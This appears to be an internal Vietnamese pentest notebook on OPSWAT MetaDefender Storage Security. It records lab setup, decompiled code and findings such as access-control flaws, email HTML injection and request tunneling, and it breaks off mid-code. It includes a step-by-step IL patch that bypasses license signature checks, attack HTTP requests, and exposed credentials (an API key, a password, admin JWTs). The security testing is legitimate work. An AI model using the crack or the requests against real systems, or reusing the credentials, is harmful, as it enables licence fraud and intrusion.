Tasks
- [x] Config
- [x] SMTP
- [ ] Kafka
- [x] Syslog
- [x] SSO
- [x] Webhook
- [x] Decompilation
- [x] Deobfuscate
- [x] Nginx misconfiguration
- [x] Scan source code with SemGrep
- [x] Settings
- [x] SMTP
- [x] External Loggers
- [x] SSO
- [x] OIDC
- [x] SAML
- [x] S3 Compatible - MinIO
- [x] OCM (VPack)
- [x] Audit
- [ ] WebSocket
- [x] Using features without license
Resources
- REST API docs: MetaDefender Storage Security API - MetaDefender Storage Security
- Report cũ: MDSS Pentest Report - 2024.08 - Shared Engineering Services - Confluence. Có khá nhiều bug vẫn chưa được fix.
Configuration
Thông tin chung:
- MFT Server:
- URL:
http://10.40.144.103:8010
- API Key:
bZ8AIJGePFOmbmlS2xY3Z0asoLwo9e
- URL:
- Ubuntu Server’s Password:
mdss@1337
- Auth Analyzer Extension’s Exclude Paths:
/api/report, /api/ocm, /api/group, /api/configuration/enabledModules, /api/storage/all, /api/storage/scan_schedules, /api/audit/, /dashboard/,/api/version,/api/onboarding
SMTP
Sử dụng hMailServer với domain là pentest.local
.
Kafka
Tham khảo Apache Kafka để cấu hình.
Câu lệnh chạy Kakfa thông qua Docker:
docker run -it -d --name kafka -p 9092:9092 apache/kafka:4.0.0
Allow port 9092 để có thể truy cập từ xa:
sudo ufw allow 9092
Khi sử dụng Kafka thông qua Docker, truy cập vào /opt/kafka/bin
của container để tìm các script tương tác với Kafka.
Câu lệnh tạo topic:
/opt/kafka/bin/kafka-topics.sh --create --topic mdss --bootstrap-server localhost:9092
Xem các config của Kafka:
./kafka-configs.sh --describe --all --bootstrap-server localhost:9092 --entity-type brokers
[Issues with API version negotiation between Kafka producer client and Kafka broker · Issue #2175 · confluentinc/confluent-kafka-dotnet](https://github.com/confluentinc/confluent-kafka-dotnet/issues/2175)
Syslog Server
Có thể dùng PRTG hoặc Syslog Watcher.
Nếu dùng PRTG thì chỉnh port của web console sang một port khác 80
để không bị trùng với MDSS.
Webhook
Sử dụng https://webhook.site
để nhận thông báo khi một scan nào đó hoàn thành.
URL:
https://webhook.site/#!/view/5d1c8d92-7fbc-49ec-8439-d94ceba717e1/6ab6a1c3-214e-46b9-94cc-7b2518d13795/1
HTTPS
Thiết lập HTTPS bằng cách tạo ra chứng chỉ và khóa riêng tư:
openssl req -x509 -newkey rsa:4096 -nodes -sha256 -days 365 \
-keyout ssl.key \
-out ssl.crt \
-subj "/CN=localhost"
Sau đó, uncomment các dòng sau trong file C:\Program Files\OPSWAT\MetaDefender Storage Security\config\nginx\nginx.conf
:
listen 443 ssl;
ssl_certificate ../../config/nginx/certificates/ssl.crt;
ssl_certificate_key ../../config/nginx/certificates/ssl.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384';
ssl_prefer_server_ciphers on;
Restart lại service MetaDefender Secure Storage để Nginx đọc cấu hình mới và chạy port 443 dành cho HTTPS.
OIDC
Dựa trên chỉ dẫn của Single Sign On - MetaDefender Storage Security để cấu hình SSO.
Chỉ có thể đăng nhập bằng SSO khi đã thiết lập HTTPS.
SAML
Dựa trên chỉ dẫn của Setting up Active Directory Federation Services (ADFS) - Documentation & User Guides | Fotoware để tạo ra ADFS instance.
Chỉ dẫn của AD FS Specific Configuration - MetaDefender Storage Security và AD FS SAML2 Specific Configuration - MetaDefender Storage Security để cấu hình chi tiết.
Các giá trị dùng trong cài đặt:
Tuy nhiên, vẫn không thể xác thực bằng phương pháp này.
Architecture & Technology Stack
- Microservices: sử dụng architectural pattern CQRS.
- Dot NET (có thể decompile).
- Nginx version 1.26.1: không thể khai thác CVE nào.
- WebSocket: sử dụng thư viện SignalR không có CVE nào.
Commands & Scripts
Script dùng để decompile hàng loạt các DLL của OPSWAT ở trong thư mục C:\Program Files\OPSWAT\MetaDefender Storage Security\services
: DecompileOpswatDlls.ps1
Findings
Source Code Decompile
Backend
Một số thư mục nổi bật:
-
opswat.mdcs.mongomigrations
chứa các script liên quan đến việc migrate MongoDB. Đã check qua các script và không tìm thấy gì. -
opswat.mdcs.smbservice
liên quan đến giao thức SMB và được viết bằng Python. -
opswat.mdcs.webclient
được sử dụng cho Nginx (Frontend).
Danh sách các controller:
AccountController.cs
ApiKeyController.cs
AuditController.cs
ConfigurationController.cs
ConnectorController.cs
ControllerExtensions.cs
CorePoolController.cs
DeepCdrController.cs
ExternalLoggerController.cs
FileController.cs
GroupController.cs
HealthController.cs
MetaDefenderCoreController.cs
OcmController.cs
OnboardingController.cs
ReportController.cs
ScanConfigurationController.cs
ScanController.cs
ScanInstanceController.cs
ScanPoolController.cs
ScanWorkflowSnapshotController.cs
SecurityChecklistController.cs
SettingsController.cs
SsoController.cs
StorageController.cs
UserController.cs
UserTourController.cs
VersionController.cs
WebhookController.cs
WorkflowController.cs
Frontend
Về phần frontend, sau khi deobfuscate file JavaScript thì tìm thấy đoạn sau:
class age {
constructor() {
this.baseUrl = "/api";
this.tokenRefreshing = false;
this.pendingRequests = [];
this.verifyAuthentication = async () => this.sessionManager.verifyAuthentication();
this.getCommonHeaders = () => this.instance.defaults.headers.common;
this.loginUser = n => {
const r = new AbortController();
return this.instance.post("user/authenticate", n, {
headers: {
...this.getCommonHeaders()
},
signal: r.signal
});
};
this.registerUser = n => {
const r = new AbortController();
return this.instance.post("user/register", n, {
signal: r.signal
});
};
this.modifyPassword = n => {
const r = new AbortController();
return this.instance.post("user/password", n, {
signal: r.signal
});
};
this.validateSecureToken = n => {
const r = new AbortController();
return this.instance.post("user/password/reset/validate", n, {
signal: r.signal
});
};
Có thể thấy, đây chính là đoạn code gọi các API.
Biến this.instance
có giá trị là:
this.instance = Wr.create({
baseURL: this.baseUrl,
headers: t && t !== wi ? {
Authorization: `Bearer ${t}`
} : {},
withCredentials: t === wi
});
Nginx Misconfiguration ❌
Đã sử dụng tool gixy cho config của Nginx ở đường dẫn C:\Program Files\OPSWAT\MetaDefender Storage Security\config\nginx\
:
docker run --rm -v "C:/Program Files/OPSWAT/MetaDefender Storage Security/config/nginx/:/etc/nginx/conf/" yandex/gixy /etc/nginx/conf/nginx.conf
==================== Results ===================
>> Problem: [alias_traversal] Path traversal via misconfigured alias.
Severity: MEDIUM
Description: Using alias in a prefixed location that doesn't ends with directory separator could lead to path traversal vulnerability.
Additional info: https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
Pseudo config:
server {
server_name _;
location /v2 {
alias ../../data/webclient/v2;
}
}
==================== Summary ===================
Total issues:
Unspecified: 0
Low: 0
Medium: 1
High: 0
Tuy nhiên, khi cố gắng thực hiện path traversal:
GET /v2/../../ HTTP/1.1
Host: localhost
Thì nhận được kết quả như sau:
HTTP/1.1 400 Bad Request
Server: nginx
Date: Mon, 14 Apr 2025 08:40:05 GMT
Content-Type: text/html
Content-Length: 150
Connection: close
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
Có thể kết quả trên đến từ cấu hình `root` trong đoạn sau:
~~~txt
location / {
try_files $uri $uri/ /index.html;
root ../../data/webclient;
index index.html index.htm;
limit_except GET POST PUT DELETE PATCH OPTIONS { deny all; }
}
~~~
Broken Access Control 🪲
Một số tính năng không khả dụng trên UI nhưng người dùng read-only vẫn có thể gửi request để sử dụng:
`GET /api/ocm`
`GET /api/group`
`GET /api/storage/scan_schedules/{scanScheduleUuid}/1/0/5`
`GET /api/storage/all`
Tuy nhiên, các API này hiện tại chưa có thông tin nào sensitive.
Tìm được các API có chứa sensitive data mà cụ thể là API key của core instances và MFT:
`GET /api/report?storageId={storageId}&sortDirectionFilter={sortDirectionFilter}`
`GET /api/scanworkflowsnapshot/getAllFromScan/{scanId}`
`GET /api/scan/new_active/{id}`
API key của MFT đã bị mã hóa.
Cả 3 API trên đều có object thuộc class sau trong response:
[Serializable]
public sealed class ScanPoolDto
{
public string Id { get; set; }
public string Name { get; set; }
public IEnumerable<ScanInstanceDto> ScanInstances { get; set; }
}
Giá trị của API key nằm trong class ScanInstanceDto
:
[Serializable]
public sealed class ScanInstanceDto
{
public string Id { get; set; }
public required string Url { get; set; }
public string ApiKey { get; set; }
public required TimeSpan Timeout { get; set; }
[EnumDataType(typeof(ScanInstanceTypeDto))]
public ScanInstanceTypeDto ScanInstanceType { get; set; }
}
Tìm các class mà có field với kiểu là `ScanPoolDto`/`ScanInstanceDto` rồi tìm controller tương ứng. Khi có controller, ta có thể thử request bằng readonly user để kiểm tra phân quyền.
Tìm được các class sau có field với kiểu là `ScanPoolDto`:
- `ScanConfigurationDto`: API key đã bị che:
~~~csharp
.ForEach(delegate(ScanInstanceDto i)
{
i.ApiKey = string.Empty;
});
getWorkflowsResponse.Entries.Where((WorkflowDto s) => s.FailOverScanPool != null).SelectMany((WorkflowDto s) => s.FailOverScanPool.ScanInstances).ToList()
.ForEach(delegate(ScanInstanceDto i)
{
i.ApiKey = string.Empty;
});
~~~
- `VPackConfigDto`: class này không được sử dụng.
Tìm được các class sau có field với kiểu là `ScanInstanceDto` (trừ `ScanPoolDto`):
- `VPackConfigDto`: class này không được sử dụng.
- `ScanWorkflowSnapshotDto` (`GET /api/scanworkflowsnapshot/getAllFromScan/{scanId}`). Tìm được các class sau có field với kiểu là `ScanWorkflowSnapshotDto`:
- `ScanDto` (`GET /api/report?storageId={storageId}&sortDirectionFilter={sortDirectionFilter}`). Class này còn có 2 class kế thừa là `ActiveScanDto` (`GET /api/scan/new_active/{id}`) và `RealtimeScanDto` nhưng `RealtimeScanDto` không chứa API key khi được trả về trong response.
- `FileDto`: không chứa API key khi được trả về trong response.
Sau khi sử dụng cách tiếp cận trên, chủ yếu tập trung vào ScanDto
, tìm ra được thêm các API sau:
`GET /api/scan/new_last_completed/{storageId}`
`GET /api/scan/last_completed/{storageId}`
`GET /api/scan/sequence/{scanId}`
`GET /api/scan/{scanId}`
Email Content Injection 🪲
Khi tạo mới một scan, có thể inject HTML vào field name
:
Mặc dù ở trên frontend thì field `name` bị giới hạn số ký tự nhưng backend thì không.
Khi scan hoàn thành thì tên scan sẽ được render ra trong email body (cũng như là trong subject của email) gửi đến người dùng:
DoS via JSON Deserialization ❌
Khi truyền vào field configuration
một JSON lớn trong request body của endpoint /api/externallogger/kafka
:
{
"topic" : "mdss",
"isEnabled" : true,
"serverAddressWithPortList" : "10.40.244.122:9092",
"configuration" : "{\"SecurityProtocol\":\"PLAINTEXT\"}"
}
Log của service mdcs.logging
là:
[2025-04-16 03:31:22Z] [Error] logging.service: ("CommonLibrary") An error has occurred during deserialization of object
System.Text.Json.JsonException: The maximum configured depth of 64 has been exceeded. Cannot read next JSON object. Path: $.a | LineNumber: 0 | BytePositionInLine: 320.
---> System.Text.Json.JsonReaderException: The maximum configured depth of 64 has been exceeded. Cannot read next JSON object. LineNumber: 0 | BytePositionInLine: 320.
at System.Text.Json.ThrowHelper.ThrowJsonReaderException(Utf8JsonReader& json, ExceptionResource resource, Byte nextByte, ReadOnlySpan`1 bytes)
at System.Text.Json.Utf8JsonReader.StartObject()
at System.Text.Json.Utf8JsonReader.ConsumeValue(Byte marker)
at System.Text.Json.Utf8JsonReader.ReadSingleSegment()
at System.Text.Json.Serialization.Converters.ObjectDefaultConverter`1.OnTryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
at System.Text.Json.Serialization.JsonConverter`1.TryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value, Boolean& isPopulatedValue)
at System.Text.Json.Serialization.JsonConverter`1.ReadCore(Utf8JsonReader& reader, T& value, JsonSerializerOptions options, ReadStack& state)
--- End of inner exception stack trace ---
at System.Text.Json.ThrowHelper.ReThrowWithPath(ReadStack& state, JsonReaderException ex)
at System.Text.Json.Serialization.JsonConverter`1.ReadCore(Utf8JsonReader& reader, T& value, JsonSerializerOptions options, ReadStack& state)
at System.Text.Json.JsonSerializer.ReadFromSpan[TValue](ReadOnlySpan`1 json, JsonTypeInfo`1 jsonTypeInfo)
at opswat.mdcs.common.JsonParser`1.Deserialize(String data, JsonSerializerOptions options) in /app/Backend/src/Shared/Submodules/mdss-common-library/opswat.mdcs.common/Classes/JsonParser.cs:line 32
[2025-04-16 03:31:22Z] [Error] logging.service: Failed to deserialize Kafka configuration ((serverAddressList: 10.40.244.122:9092; topic: mdss; configuration: {"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":"a"}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}))
Điều này cho thấy ứng dụng tự động quăng exception khi độ sâu của JSON là quá lớn và điều này giúp ứng dụng không bị DoS.
HTTP Request Tunneling
Khi gửi request đến endpoint của SignalR (/hubs/signalr/negotiate?negotiateVersion=1
), nếu chúng ta bỏ header Content-Length
và thêm vào request line cũng như là Host
header ở dưới request body:
POST /hubs/signalr/negotiate?negotiateVersion=1&gsbven8=1 HTTP/1.1
Host: 10.40.144.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
X-Requested-With: XMLHttpRequest
X-SignalR-User-Agent: Microsoft SignalR/8.0 (8.0.7; Unknown OS; Browser; Unknown Runtime Version)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiI3NjZjN2Y3YS02YjEyLTQzNjgtYjBjNS00ODVlOGRkMzViNTkiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBwZW50ZXN0LmxvY2FsIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6Im5mb1hRcXRCTy9ocXdiTUtwdEVhSklIOFFLaWxTd3M5RU51eDBGbEdPK2x3YStxT1laNkJZUWtjRTRSQTkyeUciLCJyb2xlIjoiQWRtaW5pc3RyYXRvciIsIkF1dGhQcm92aWRlciI6Ijk5IiwibmJmIjoxNzQ0Nzg5MzU0LCJleHAiOjE3NDQ3OTI5NTQsImlhdCI6MTc0NDc4OTM1NH0.elDHiWMIzvtVk4m7A98C5CtguKsHrgo3mLacTVLnxME
GET / HTTP/1.1
Host: localhost
Thì response sẽ là:
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Apr 2025 08:39:48 GMT
Content-Type: application/json
Content-Length: 316
Connection: keep-alive
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
{"negotiateVersion":1,"connectionId":"9V8zL4LwLuVpnrmiMtptnA","connectionToken":"GMu0WR7ZKdQOBCkeRkcPaA","availableTransports":[{"transport":"WebSockets","transferFormats":["Text","Binary"]},{"transport":"ServerSentEvents","transferFormats":["Text"]},{"transport":"LongPolling","transferFormats":["Text","Binary"]}]}
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Apr 2025 08:39:48 GMT
Content-Type: text/html
Content-Length: 494
Last-Modified: Tue, 01 Apr 2025 01:33:04 GMT
Connection: keep-alive
ETag: "67eb4250-1ee"
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
Accept-Ranges: bytes
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/x-icon" href="/assets/favicon-B3x-M381.ico" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>MetaDefender Storage Security</title>
<script type="module" crossorigin src="/assets/index-XTvvbeis.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-5d5aT_rG.css">
</head>
<body>
<div id="root"></div>
</body>
</html>
Điều này cho thấy, ta có thể thực hiện tunnel request.
Thật ra, hành vi này còn có thể xảy ra ở các endpoint khác chẳng hạn như:
POST /api/ocm/ HTTP/1.1
Host: 10.40.144.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
X-Requested-With: XMLHttpRequest
X-SignalR-User-Agent: Microsoft SignalR/8.0 (8.0.7; Unknown OS; Browser; Unknown Runtime Version)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiI3NjZjN2Y3YS02YjEyLTQzNjgtYjBjNS00ODVlOGRkMzViNTkiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBwZW50ZXN0LmxvY2FsIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6Im5mb1hRcXRCTy9ocXdiTUtwdEVhSklIOFFLaWxTd3M5RU51eDBGbEdPK2x3YStxT1laNkJZUWtjRTRSQTkyeUciLCJyb2xlIjoiQWRtaW5pc3RyYXRvciIsIkF1dGhQcm92aWRlciI6Ijk5IiwibmJmIjoxNzQ0NzkyOTYxLCJleHAiOjE3NDQ3OTY1NjEsImlhdCI6MTc0NDc5Mjk2MX0.HIiI7q6HWVnhJdhPcm7yk3_YFDpP9ywmilzO0BPFLI8
Origin: https://kg6mflo6.com
Connection: keep-alive
GET / HTTP/1.1
Host: localhost
Response:
HTTP/1.1 400 Bad Request
Server: nginx
Date: Wed, 16 Apr 2025 09:43:10 GMT
Content-Length: 0
Connection: keep-alive
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Apr 2025 09:43:10 GMT
Content-Type: text/html
Content-Length: 494
Last-Modified: Tue, 01 Apr 2025 01:33:04 GMT
Connection: keep-alive
ETag: "67eb4250-1ee"
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
Accept-Ranges: bytes
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/x-icon" href="/assets/favicon-B3x-M381.ico" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>MetaDefender Storage Security</title>
<script type="module" crossorigin src="/assets/index-XTvvbeis.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-5d5aT_rG.css">
</head>
<body>
<div id="root"></div>
</body>
</html>
Các request được Nginx tự động forward đến API gateway ở URL `http://localhost:8005` và không thể gửi request đến một host khác trong internal network. Hơn thế nữa, các request được kiểm tra xác thực và phân quyền ở API gateway nên ta không thể bypass được access control, cho dù đó là một request được cắt ra bởi Nginx.
title: Giả sử ứng dụng phân quyền bằng Nginx thì liệu ta có thể giấu một request mà không có JWT/cookie ở trong một request mà có JWT/cookie được hay không?
License Cracking 🪲
Ở trong report cũ có bug liên quan đến việc crack license: MDSS Pentest Report - 2024.08 - Shared Engineering Services - Confluence. Tuy nhiên, việc khai thác chỉ triển khai ở trên Linux bằng cách chỉnh sửa kết quả đầu ra của script mdklicense
thành luôn đúng. Khi đó, hàm ValidateSignature
của opswat.mdcs.license.service
sẽ luôn trả về true
và điều này khiến cho license file luôn hợp lệ:
public static bool ValidateSignature(string licenseFilePath)
{
DefaultInterpolatedStringHandler defaultInterpolatedStringHandler = new DefaultInterpolatedStringHandler(18, 2);
defaultInterpolatedStringHandler.AppendLiteral("-c \"./");
defaultInterpolatedStringHandler.AppendFormatted("mdklicense");
defaultInterpolatedStringHandler.AppendLiteral(" signature ");
defaultInterpolatedStringHandler.AppendFormatted(licenseFilePath);
defaultInterpolatedStringHandler.AppendLiteral("\"");
string text = LicenseSdkLinux.RunMdkLicenseTool(defaultInterpolatedStringHandler.ToStringAndClear());
if (string.IsNullOrWhiteSpace(text))
{
Log.Error<string>("No output received from {MdkLicenseToolName}", "mdklicense");
return false;
}
if (text.Contains("Signature: valid", StringComparison.OrdinalIgnoreCase))
{
return true;
}
Log.Error<string>("Error output received from {MdkLicenseToolName}:", "mdklicense" + Environment.NewLine + text);
return false;
}
Dẫu vậy, ta cũng có thể thực hiện tương tự cho Windows. Cụ thể hơn, ta sẽ chỉnh sửa hàm ValidateLicenseSignature
:
public static bool ValidateLicenseSignature(string licenseFileContent)
{
bool flag5;
try
{
IntPtr intPtr = LicenseSdkWindows.ValidateSignature(licenseFileContent);
if (intPtr == IntPtr.Zero)
{
throw new ExternalException("Failed to validate license signature");
}
string text = Marshal.PtrToStringAnsi(intPtr);
LicenseSdkWindows.FreeHeapMemory(intPtr);
if (text == null)
{
throw new ArgumentNullException("parsedPtrContent");
}
IReadOnlyDictionary<string, string> readOnlyDictionary;
bool flag = LicenseServiceUtil.TryParseLicense(text, out readOnlyDictionary);
IReadOnlyDictionary<string, string> readOnlyDictionary2;
bool flag2 = LicenseServiceUtil.TryParseLicense(licenseFileContent, out readOnlyDictionary2);
string empty = string.Empty;
string empty2 = string.Empty;
bool flag3 = flag && readOnlyDictionary.TryGetValue("deployment", out empty);
bool flag4 = flag2 && readOnlyDictionary2.TryGetValue("deployment", out empty2);
flag5 = flag3 && flag4 && empty.Equals(empty2);
}
catch (DllNotFoundException)
{
Log.Error("License SDK Wrapper is missing. Please read `HOW-TO-DEBUG-LICENSE-SERVICE-WITH-VISUAL-STUDIO` file for more details: ");
throw;
}
return flag5;
}
Để chỉnh sửa, ta cần sử dụng dnSpyEx/dnSpy (ILSpy, dotPeek không cho phép chỉnh sửa) và chuột phải vào hàm rồi chọn “Edit IL Instructions”. Sau đó, thêm vào 2 nop
instruction ở đầu:
Kế đến, thay đổi instruction đầu tiên thành ldc.i4 1
(ldc.i4
có nghĩa là Load Constant Int32
, giúp load một số nguyên 4 byte hay 32 bit vào stack) và thay đổi instruction thứ hai thành ret
để trả về kết quả ở trên stack.
Mã nguồn của hàm sẽ trở thành:
// opswat.mdcs.license.service.LicenseSdkWindows
// Token: 0x060000D4 RID: 212 RVA: 0x00004A6C File Offset: 0x00002C6C
public static bool ValidateLicenseSignature(string licenseFileContent)
{
return true;
try
{
}
catch (DllNotFoundException)
{
Log.Error("License SDK Wrapper is missing. Please read `HOW-TO-DEBUG-LICENSE-SERVICE-WITH-VISUAL-STUDIO` file for more details: ");
throw;
}
}
Cuối cùng, chọn “File” > “Save Module” để lưu lại DLL đã được vá và sao chép nó vào thư mục của opswat.mdcs.license.service
(nhớ dừng service MetaDefender Storage Security của Windows trước).
Lúc này, ta có thể sử dụng license file với invalid signature chẳng hạn như:
---
product_id: MD-STORAGE-SA-EVAL
product_name: MetaDefender for Secure Storage - Evaluation
licensed_to: |
OPSWAT
deployment: MDSSN92rs084YWowAifCpYUSPkMJ5zH23NqV
serial: 3
expiration: 09/30/2077
amazon_user_limit: -1
onedrive_user_limit: -1
box_user_limit: -1
azure_blob_user_limit: -1
alibaba_cloud_user_limit: -1
google_cloud_user_limit: -1
...
---
signature: 1337
...
Insecure Deserialization ❌
Hàm sau ở trong BoxItemConverter.cs
sử dụng JsonConvert.DeserializeObject
mà có thể bị khai thác lỗ hổng Insecure Deserialization: PayloadsAllTheThings/Insecure Deserialization/DotNET.md at master · swisskyrepo/PayloadsAllTheThings
public override List<BoxItem> Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options)
{
List<BoxItem> list = new List<BoxItem>();
foreach (JsonElement item in JsonElement.ParseValue(ref reader).EnumerateArray())
{
JsonElement property = item.GetProperty("type");
if (property.ValueKind == JsonValueKind.Null)
{
throw new System.Text.Json.JsonException("boxTypeElement");
}
string @string = property.GetString();
List<BoxItem> list2 = list;
list2.Add(@string switch
{
"file" => JsonConvert.DeserializeObject<BoxFile>(item.ToString()),
"folder" => JsonConvert.DeserializeObject<BoxFolder>(item.ToString()),
